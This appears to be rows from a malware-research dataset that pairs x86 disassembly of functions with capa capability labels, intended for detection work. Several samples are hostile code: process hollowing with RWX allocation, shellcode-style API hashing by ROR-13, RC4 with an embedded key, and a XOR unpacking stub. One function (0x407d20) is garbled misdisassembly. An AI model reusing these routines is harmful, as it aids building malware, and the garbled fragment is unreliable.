joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003fa50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0xa0
mov dword [ebp - 8], 0
jmp 0x1003fa72
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xd
jge 0x1003fab1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0x2efa48c0]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1003faac
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1003fa69
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xd], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x100420bc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10079b3c]
jne 0x100420c6
repz ret
jmp fcn.1004265c

Function at 0x10043c60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10043d68
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x10043d68
mov ebx, dword [ebp + 0x10]
test ebx, ebx
je 0x10043d68
push 2
push ebx
lea eax, [ebp + 8]
push eax
push esi
call fcn.10042990
add esp, 0x10
cmp eax, 2
je 0x10043ca9
pop edi
pop esi
mov eax, 0x80004005
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x5a4d
cmp word [ebp + 8], ax
jne 0x10043c9d
push 4
lea eax, [ebx + 0x3c]
push eax
lea eax, [ebp - 4]
push eax
push esi
call fcn.10042990
add esp, 0x10
cmp eax, 4
jne 0x10043c9d
add ebx, dword [ebp - 4]
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x10043cd8
mov dword [eax], ebx
push 2
lea eax, [ebx + 4]
push eax
lea eax, [ebp + 8]
push eax
push esi
call fcn.10042990
add esp, 0x10
cmp eax, 2
jne 0x10043c9d
movzx eax, word [ebp + 8]
cmp eax, 0x14c
je 0x10043d33
cmp eax, 0x8664
jne 0x10043c9d
push 0x108
push ebx
push edi
push esi
call fcn.10042990
add esp, 0x10
cmp eax, 0x108
jne 0x10043c9d
cmp dword [edi], 0x4550
mov eax, 0x40
pop edi
mov ecx, 0x80004005
pop esi
cmovne eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0xf8
push ebx
push edi
push esi
call fcn.10042990
add esp, 0x10
cmp eax, 0xf8
jne 0x10043c9d
cmp dword [edi], 0x4550
mov eax, 0x20
pop edi
mov ecx, 0x80004005
pop esi
cmovne eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 0x80070057
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x401029
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401029
mov ecx, dword [eax + 0x3c]
cmp ecx, 0x400
jg 0x401029
add eax, ecx
cmp dword [eax], 0x4550
je 0x40102b
xor eax, eax
pop ebp
ret 4

Function at 0x401210
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0xc], 0
push edi
mov edi, dword [ebp + 8]
push edi
mov eax, dword [esi]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x10], edi
call dword [eax]
mov ebx, eax
mov dword [ebp - 0x14], ebx
test ebx, ebx
je 0x40138c
mov edx, dword [esi]
mov ecx, esi
push 5
push edi
call dword [edx + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 0x34]
push str.ntdll.dll
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [ebx + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push 0xffffffffffffffff
push str.NtUnmapViewOfSection
push edi
call esi
call eax
push str.NtAllocateVirtualMemory
push edi
call esi
mov ecx, dword [ebx + 0x50]
mov esi, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [ebp - 8]
push 0x40
push 0x3000
push eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ecx
push eax
call edi
push eax
call esi
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x4012d9
cmp dword [ebp - 0x18], eax
je 0x40138c
push 0x40
push 0x3000
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
call edi
push eax
call esi
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x40138c
mov edx, dword [ebx + 0x54]
mov esi, dword [ebp - 0x10]
mov dword [ebx + 0x34], eax
mov ecx, dword [ebp - 0xc]
test edx, edx
je 0x401303
nop dword [eax]
mov al, byte [esi]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
lea esi, [esi + 1]
sub edx, 1
jne 0x4012f0
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x14]
xor eax, eax
xor ebx, ebx
cmp ax, word [esi + 6]
jae 0x401349
lea edi, [esi + 0x104]
mov edx, dword [edi]
mov eax, dword [edi + 8]
add edx, ecx
add eax, dword [ebp - 0x10]
mov esi, dword [edi + 4]
test esi, esi
je 0x40133a
mov cl, byte [eax]
lea edx, [edx + 1]
mov byte [edx - 1], cl
lea eax, [eax + 1]
sub esi, 1
jne 0x401327
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x14]
inc ebx
add edi, 0x28
movzx eax, word [esi + 6]
cmp ebx, eax
jl 0x401316
mov edi, dword [ebp - 0x1c]
push ecx
mov ecx, edi
mov eax, dword [edi]
call dword [eax + 8]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp edx, ecx
je 0x401372
push dword [esi + 0x50]
mov eax, dword [edi]
push edx
push 0
push ecx
push 0
push edx
mov ecx, edi
call dword [eax + 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [esi + 0x28]
add eax, edx
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004015b8
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004015b8
mov esp, ebp
pop ebp
ret 4
Function at 0x4014d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
xor eax, eax
nop dword [eax + eax]
mov byte [eax + esi], al
inc eax
cmp eax, 0x100
jb 0x4014e0
mov dword [ebp - 4], 0
xor edi, edi
mov eax, edi
mov bl, byte [edi + esi]
xor edx, edx
movzx ecx, bl
div dword [ebp + 0xc]
movsx eax, byte [edx + str.fbuoemjCf08udOMJiNryIvSKu1EbDkvF]
add eax, dword [ebp - 4]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 4], ecx
mov al, byte [ecx + esi]
mov byte [edi + esi], al
inc edi
mov byte [ecx + esi], bl
cmp edi, 0x100
jb 0x4014f4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x401530
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor esi, esi
mov eax, ecx
xor edi, edi
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], esi
jbe 0x4015b0
push ebx
mov ebx, dword [ebp + 0xc]
sub dword [ebp + 8], ebx
nop dword [eax + eax]
inc esi
and esi, 0x800000ff
jns 0x401561
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [esi + eax]
movzx edx, cl
add edi, edx
and edi, 0x800000ff
jns 0x401579
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [edi + eax]
mov ebx, dword [ebp - 4]
mov byte [esi + ebx], al
mov eax, ebx
mov byte [edi + eax], cl
mov ecx, ebx
movzx eax, byte [esi + eax]
mov ebx, dword [ebp + 0xc]
add eax, edx
movzx eax, al
movzx eax, byte [eax + ecx]
mov ecx, dword [ebp + 8]
xor al, byte [ecx + ebx]
mov byte [ebx], al
inc ebx
sub dword [ebp + 0x10], 1
mov eax, dword [ebp - 4]
mov dword [ebp + 0xc], ebx
jne 0x401550
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x406a00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor edi, edi
nop
movzx ecx, word [edx + 0x26]
jmp 0x406939
mov esi, dword [edx + 0x28]
nop
jmp 0x406948
xor eax, eax
jmp 0x406955
lodsb al, byte [esi]
cmp al, 0x61
nop
jl 0x40697b
nop
jmp 0x40696c
nop
jmp 0x406978
sub al, 0x20
nop
jmp 0x40698c
ror edi, 0xd
nop
add edi, eax
nop
dec ecx
nop
jne 0x40693d
jmp 0x4069aa
push edx
nop
jmp 0x4069b7
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
add eax, edx
nop
push edi
jmp 0x4069d1
mov eax, dword [eax + 0x78]
nop
jmp 0x4069e6
test eax, eax
nop
jmp 0x4069f9
je 0x406bdd
nop
jmp 0x406a0d
nop
jmp 0x406a18
add eax, edx
push eax
nop
mov ebx, dword [eax + 0x20]
nop
jmp 0x406a30
mov ecx, dword [eax + 0x18]
jmp 0x406a42
add ebx, edx
test ecx, ecx
nop
jmp 0x406a54
je 0x406bce
nop
jmp 0x406a65
dec ecx
nop
xor edi, edi
mov esi, dword [ebx + ecx*4]
nop
jmp 0x406a78
add esi, edx
nop
jmp 0x406a86
xor eax, eax
jmp 0x406a92
ror edi, 0xd
jmp 0x406aa5
lodsb al, byte [esi]
nop
jmp 0x406ab5
add edi, eax
cmp al, ah
jmp 0x406ac4
jne 0x406a7a
jmp 0x406ad4
nop
add edi, dword [ebp - 8]
jmp 0x406ae5
cmp edi, dword [ebp + 0x24]
jmp 0x406afc
jne 0x406a44
nop
jmp 0x406b13
pop eax
mov ebx, dword [eax + 0x24]
nop
jmp 0x406b28
add ebx, edx
nop
jmp 0x406b3f
mov cx, word [ebx + ecx*2]
jmp 0x406b56
mov ebx, dword [eax + 0x1c]
add ebx, edx
jmp 0x406b6e
mov eax, dword [ebx + ecx*4]
nop
add eax, edx
nop
jmp 0x406b87
mov dword [esp + 0x24], eax
pop ebx
nop
jmp 0x406ba0
pop ebx
popal
nop
pop ecx
nop
jmp 0x406bb9
pop edx
push ecx
jmp eax
jmp 0x406bdb
pop eax
nop
nop
pop edi
pop edx
nop
jmp 0x406bf2
mov edx, dword [edx]
nop
jmp 0x406c04
jmp 0x406926

Function at 0x406dd0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
je 0x406df6
jmp 0x406e20
mov edx, dword [edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
movzx ecx, word [edx + 0x26]
xor edi, edi
mov esi, dword [edx + 0x28]
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x406e11
sub al, 0x20
ror edi, 0xd
add edi, eax
dec ecx
jne 0x406e08
push edx
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
push edi
add eax, edx
mov eax, dword [eax + 0x78]
test eax, eax
je 0x406e76
add eax, edx
mov ecx, dword [eax + 0x18]
mov ebx, dword [eax + 0x20]
add ebx, edx
push eax
test ecx, ecx
je 0x406e75
dec ecx
mov esi, dword [ebx + ecx*4]
xor edi, edi
add esi, edx
xor eax, eax
lodsb al, byte [esi]
ror edi, 0xd
add edi, eax
cmp al, ah
jne 0x406e41
add edi, dword [ebp - 8]
cmp edi, dword [ebp + 0x24]
jne 0x406e35
pop eax
mov ebx, dword [eax + 0x24]
add ebx, edx
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
add ebx, edx
mov eax, dword [ebx + ecx*4]
add eax, edx
mov dword [esp + 0x24], eax
pop ebx
pop ebx
popal
pop ecx
pop edx
push ecx
jmp eax
pop eax
pop edi
pop edx
mov edx, dword [edx]
jmp 0x406dff
Function at 0x407d20
Capabilities:
Encode data using xor

Disassembly:
or byte [eax], cl
salc
or byte [eax], cl
or byte [ebp + 8], ch
or bl, bl
or byte [eax], cl
or byte [eax], cl
mov ch, 8
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or ch, dh
pushal
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [ecx], al
add cl, byte [eax]
or byte [eax], cl
xor eax, 0x84908ef
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
add al, byte [eax + ecx]
or byte [edx], ah
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or al, ch
or byte [eax], cl
or byte [ecx], dl
or dl, dl
or byte [eax], cl
or byte [eax], cl
cmpsd dword [esi], dword es:[edi]
or byte [eax], cl
insd dword es:[edi], dx
or byte [eax], cl
push es
or byte [eax], cl
or byte [edi], al
nop
and edx, dword [eax - 0x6f6f6f70]
push ebp
mov ebp, esp
sub esp, 0x58
push esi
lea eax, [ebp - 0x58]
jecxz 0x407cb7
jge 0x407d3e
lea ecx, [ebp - 4]
push eax
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 0xc]
push ecx
mov ecx, dword [ebp + 8]
push edx
loope 0x407d8f
push eax
push ecx
call 0xf47ec0
invalid
cmp eax, dword [eax + 0x47430b3]
mov byte [esi], 0x2e
inc esi
retf
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x426008]
jne 0x40100a
repz ret
jmp fcn.00401cf1

Function at 0x40773b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402a1a
and dword [ebp - 4], 0
cmp dword [0x428008], 0
mov ebx, eax
jne 0x4077ec
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40789d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40789d
push eax
call fcn.004029a8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x428008], eax
call esi
push eax
call fcn.004029a8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42800c], eax
call esi
push eax
call fcn.004029a8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x428010], eax
call esi
push eax
call fcn.004029a8
pop ecx
mov dword [0x428018], eax
test eax, eax
je 0x4077ec
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004029a8
pop ecx
mov dword [0x428014], eax
mov eax, dword [0x428014]
cmp eax, ebx
je 0x407844
cmp dword [0x428018], ebx
je 0x407844
push eax
call fcn.00402a23
push dword [0x428018]
mov esi, eax
call fcn.00402a23
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407844
test edi, edi
je 0x407844
call esi
test eax, eax
je 0x40783b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40783b
test byte [ebp - 0xc], 1
jne 0x407844
or dword [ebp + 0x10], 0x200000
jmp 0x40787d
mov eax, dword [0x42800c]
cmp eax, ebx
je 0x40787d
push eax
call fcn.00402a23
pop ecx
test eax, eax
je 0x40787d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40787d
mov eax, dword [0x428010]
cmp eax, ebx
je 0x40787d
push eax
call fcn.00402a23
pop ecx
test eax, eax
je 0x40787d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x428008]
call fcn.00402a23
pop ecx
test eax, eax
je 0x40789d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40789f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41ec50
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
cmp edi, 0x19f
jne 0x41ec69
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
test edi, edi
jle 0x41ecb2
nop
lea ecx, [esp + 8]
mov dword [esp], 5
mov dword [esp + 8], 0
call fcn.0041ec40
mov eax, dword [esp + 8]
add eax, 0x46
mov dword [esp], eax
nop
sub dword [esp], 0x46
movsx eax, byte [edx + esi]
mov dword [esp + 4], eax
mov eax, dword [esp]
xor dword [esp + 4], eax
mov cl, byte [esp + 4]
mov byte [edx + esi], cl
inc edx
cmp edx, edi
jl 0x41ec70
cmp edi, 0x2d
jne 0x41eccb
mov dword [0x2b26220], 0xa62e7790
mov dword [0x2b26224], 0xffffffff
add esp, 0xc
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408e84
nop
nop
mov ecx, 0x583d59d6
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x7f2e4a91
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401b30
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x44fd50]
and eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x401b4d
mov eax, dword [sym.imp.KERNEL32.dll_HeapCompact]
ret 0x10
mov edx, dword [esp + 0x10]
test edx, edx
je 0x401b5d
mov eax, dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
ret 0x10
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401b6d
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessTimes]
ret 0x10
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x401b7d
mov eax, dword [sym.imp.KERNEL32.dll_HeapUnlock]
ret 0x10
mov edx, dword [esp + 0x10]
test edx, edx
je 0x401b8d
mov eax, dword [sym.imp.GDI32.dll_PolyBezier]
ret 0x10
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401b9d
mov eax, dword [sym.imp.SHELL32.dll_SHDefExtractIconA]
ret 0x10
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x401bad
mov eax, dword [sym.imp.KERNEL32.dll_TlsAlloc]
ret 0x10
mov edx, dword [esp + 0x10]
test edx, edx
je 0x401bbd
mov eax, dword [sym.imp.KERNEL32.dll_SwitchToThread]
ret 0x10
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401bcd
mov eax, dword [sym.imp.USER32.dll_InvertRect]
ret 0x10
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x401bdd
mov eax, dword [sym.imp.GDI32.dll_SetMetaRgn]
ret 0x10
mov edx, dword [esp + 0x10]
test edx, edx
je 0x401bed
mov eax, dword [sym.imp.GDI32.dll_StrokeAndFillPath]
ret 0x10
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401bfd
mov eax, dword [sym.imp.USER32.dll_UserHandleGrantAccess]
ret 0x10
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x401c0d
mov eax, dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
ret 0x10
mov edx, dword [esp + 0x10]
test edx, edx
je 0x401c1d
mov eax, dword [sym.imp.KERNEL32.dll_GetLogicalProcessorInformation]
ret 0x10
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401c2d
mov eax, dword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
ret 0x10
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x401c3d
mov eax, dword [sym.imp.KERNEL32.dll_CreateMailslotA]
ret 0x10
mov edx, dword [esp + 0x10]
test edx, edx
je 0x401c4d
mov eax, dword [sym.imp.KERNEL32.dll_HeapSize]
ret 0x10
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401c5d
mov eax, dword [sym.imp.KERNEL32.dll_HeapSetInformation]
ret 0x10
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x401c6d
mov eax, dword [sym.imp.KERNEL32.dll_HeapAlloc]
ret 0x10
mov edx, dword [esp + 0x10]
test edx, edx
je 0x401c7d
mov eax, dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
ret 0x10
push 0x8001
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 1
call fcn.004049c0
mov eax, dword [sym.imp.msvcrt.dll___argv]
mov ecx, dword [eax]
mov edx, dword [sym.imp.msvcrt.dll___argc]
mov eax, dword [edx]
push ecx
push eax
call fcn.00404430
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401da0
Capabilities:
Delete file

Disassembly:
cmp dword [0x433d70], 0
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
je 0x401df0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, 0x433d70
mov eax, dword [esi - 4]
mov ecx, dword [esi]
mov edx, dword [ecx]
push 0x103
push eax
push edx
call edi
test eax, eax
jbe 0x401de5
mov eax, dword [esi]
mov ecx, dword [eax]
push ecx
call ebx
mov edx, dword [esi - 4]
push edx
call ebp
add esi, 8
cmp dword [esi], 0
jne 0x401dc4
pop edi
pop esi
pop ebx
mov eax, dword [esp + 8]
push eax
call ebp
pop ebp
ret

Function at 0x401e90
Capabilities:
Terminate process

Disassembly:
push ecx
mov eax, dword [0x433b78]
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push eax
push 0xffffd8ee
push esi
call fcn.00404b10
mov ecx, dword [0x433ad8]
push ecx
push 0xffffffffffffffff
push esi
call fcn.00404b10
mov ebx, dword [esp + 0x38]
push ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.msvcrt.dll_malloc]
mov edi, eax
add esp, 0x1c
test edi, edi
je 0x401f33
mov edx, dword [esp + 0x1c]
push ebp
push ebx
push edx
push edi
call sub.msvcrt.dll_memcpy
lea eax, [esp + 0x1c]
push eax
push edi
call fcn.0040be30
mov ebx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x24]
push ebx
push ecx
push edi
push esi
call fcn.0040b220
push edi
mov ebp, eax
call dword [sym.imp.msvcrt.dll_free]
add esp, 0x28
cmp ebp, 1
pop ebp
jne 0x401f2e
push 0
push 0xffffffffffffffff
push esi
call fcn.00401810
mov edi, dword [esp + 0x24]
push edi
push ebx
push eax
push esi
call fcn.00403a40
push edi
push 0xfffffffffffffffd
push esi
call fcn.004021a0
add esp, 0x28
pop edi
pop esi
pop ebx
pop ecx
ret
push 0x3d
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403a80
Capabilities:
Terminate process

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
test edi, edi
jle 0x403ab5
mov ebx, dword [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
jmp 0x403aa0
mov eax, dword [0x433b00]
mov ecx, dword [ebx + esi*4]
push eax
push ecx
call ebp
test eax, eax
je 0x403aed
inc esi
cmp esi, edi
jl 0x403aa0
mov edx, dword [0x433ba0]
mov eax, dword [0x433a40]
mov ecx, dword [0x433a18]
push edx
push eax
push ecx
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x24], 0xffffffff
call fcn.00407600
add esp, 0x10
test eax, eax
jne 0x403aed
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x403ca0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0x34
push ebx
push esi
push edi
call fcn.00405020
mov esi, eax
mov dword [0x44f9f0], eax
test esi, esi
jne 0x403cd1
push 0x44f7c8
call fcn.00401da0
add esp, 4
push 0x37
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x100
push 0
push esi
call fcn.00401990
push esi
call fcn.00401430
mov ebx, dword [ebp + 8]
push 0
push ebx
push esi
call fcn.004040d0
xor edi, edi
add esp, 0x1c
mov dword [esp + 0x3c], edi
test ebx, ebx
jle 0x403d31
lea ecx, [ecx]
fild dword [esp + 0x3c]
sub esp, 8
fstp qword [esp]
push esi
call fcn.00404420
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edi*4]
push ecx
push esi
call fcn.00405030
push 0xfffffffffffffffd
push esi
call fcn.00401830
inc edi
add esp, 0x1c
cmp edi, ebx
mov dword [esp + 0x3c], edi
jl 0x403d00
mov edx, dword [0x4339b0]
push edx
push 0xffffd8ee
push esi
call fcn.004021a0
push esi
push 0x40f408
mov dword [0x44f8cc], 0x407450
mov dword [0x44f8d0], 0x408400
mov dword [0x44f8d4], 0x4074a0
call fcn.00407c40
push fcn.00407c40
push 0
push 0
push 0
call fcn.004064b0
add esp, 0x24
mov ecx, 0x10
mov eax, 0x44f9e0
lea esp, [esp]
mov byte [eax], 0
inc eax
sub ecx, 1
jne 0x403d90
push 0x44f9e0
push esi
call fcn.00401960
mov eax, dword [0x433b60]
push eax
push 0xffffd8ee
push esi
call fcn.004021a0
add esp, 0x14
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret